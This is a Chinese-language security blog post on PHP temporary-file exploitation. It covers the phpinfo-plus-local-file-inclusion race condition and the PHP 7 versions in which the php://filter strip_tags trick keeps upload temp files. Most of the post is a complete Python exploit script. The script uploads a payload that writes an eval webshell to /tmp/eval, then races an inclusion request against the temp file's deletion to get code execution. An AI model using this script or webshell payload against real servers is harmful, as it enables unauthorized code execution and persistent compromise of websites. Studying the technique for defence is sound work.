HOME
HOME
文章目录
  1. 0x01 phpinfo+LFI
  2. 0x02 php临时文件
  3. 参考文档

php临时文件

本来打算研究下phpinfo+本地包含导致命令执行的利用方法,深入研究原理后发现是php临时文件机制的问题,故记录下学习过程。

0x01 phpinfo+LFI

该方法的利用原理其实很简单,利用的是php在上传的时候会生成临时文件。会在临时的存储目录生成名为:php**.tmp的临时文件,而该文件内容就是上传的内容,并且该文件路径会显示在phpinfo的tmp_dir路径当中。

在存在本地包含漏洞的时候,可以直接通过读取phpinfo中的该配置项,直接去包含临时文件,执行临时文件中的代码。

如果临时文件是一个写文件的脚本,那么直接就可以通过竞争条件的方式在临时文件被删除之前,生成新的shell文件。

具体利用代码如下:

在使用时,需要修改包含文件的路径,写文件的位置,等参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
import os
import socket
import sys


PAYLOAD="""<?php file_put_contents('/tmp/eval', '<?=eval($_REQUEST[1])?>')?>\r"""

UPLOAD="""-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
{}
-----------------------------7dbff1ded0714--\r""".format(PAYLOAD)

padding="A" * 5000

INFOREQ="""POST /phpinfo.php?a={padding} HTTP/1.1\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie={padding}\r
HTTP_ACCEPT: {padding}\r
HTTP_USER_AGENT: {padding}\r
HTTP_ACCEPT_LANGUAGE: {padding}\r
HTTP_PRAGMA: {padding}\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: {len}\r
Host: %s\r
\r
{upload}""".format(padding=padding, len=len(UPLOAD), upload=UPLOAD)

LFIREQ="""GET /lfi.php?file=%s HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s\r
\r
\r
"""

class PHPINFO_LFI():
def __init__(self, host, port):
self.host = host
self.port = int(port)
self.req_payload= (INFOREQ % self.host).encode('utf-8')
self.lfireq = LFIREQ
self.offset = self.get_offfset()


def get_offfset(self):
'''
获取tmp名字的offset
'''
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((self.host, self.port))

s.send(self.req_payload)
page = b""
while True:
i = s.recv(4096)
page+=i
if i == "":
break

if i.decode('utf8').endswith("0\r\n\r\n"):
break
s.close()

pos = page.decode('utf8').find("[tmp_name] =&gt; ")
print('get the offset :{} '.format(pos))

if pos == -1:
raise ValueError("No php tmp_name in phpinfo output")

return pos+256 #多加一些字节

def phpinfo_lfi(self):
'''
同时发送phpinfo请求与lfi请求
'''
phpinfo = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
lfi = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

phpinfo.connect((self.host, self.port))
lfi.connect((self.host, self.port))

phpinfo.send(self.req_payload)

infopage = b""
while len(infopage) < self.offset:
infopage += phpinfo.recv(self.offset)

pos = infopage.decode('utf8').index("[tmp_name] =&gt; ")
tmpname = infopage[pos+17:pos+31]

lfireq = self.lfireq % (tmpname.decode('utf8'),self.host)
lfi.send(lfireq.encode('utf8'))

fipage = lfi.recv(4096)

phpinfo.close()
lfi.close()

if fipage.decode('utf8').find(tag) != -1:
return tmpname


if __name__ == '__main__':
if len(sys.argv) < 4:
print('usage:\n\texp.py 127.0.0.1 80 500')
exit()
host = sys.argv[1]
port = sys.argv[2]
attempts = sys.argv[3]
print('{x}Start expolit {host}:{port} {attempts} times{x}'.format(x='*'*15, host=host, port=port, attempts=attempts))

p = PHPINFO_LFI(host,port)
for i in range(int(attempts)):
print('Trying {}/{} times…'.format(i, attempts), end="\r")
if p.phpinfo_lfi() is not None:
print('Getshell success! at /tmp/eval "<?=eval($_REQUEST[1])?>"')
exit()
print(':( Failed')

但在实际使用过程中,tmp文件删除太快,导致基本没有成功包含过。由此引发的后续研究。

0x02 php临时文件

配置文件php.iniupload_tmp_dir属性指定

命名规则:默认为 php+4或者6位随机数字和大小写字母,php[0-9A-Za-z]{3,4,5,6},phpXXXXXX.tmp 在windows下有tmp后缀,linux没有。

让临时文件保存下来:

php7在满足以下版本的情况下,可以通过php://filter/string.strip_tags生成tmp文件

• php7.0.0-7.1.2可以利用, 7.1.2x版本的已被修复

• php7.1.3-7.2.1可以利用, 7.2.1x版本的已被修复

• php7.2.2-7.2.8可以利用, 7.2.9一直到7.3到现在的版本已被修复

参考文档

  1. PHP临时文件机制与利用的思考

  2. PHP文件包含漏洞(利用phpinfo)

  3. https://github.com/M4LV0/LFI-phpinfo-RCE/blob/master/exploit.py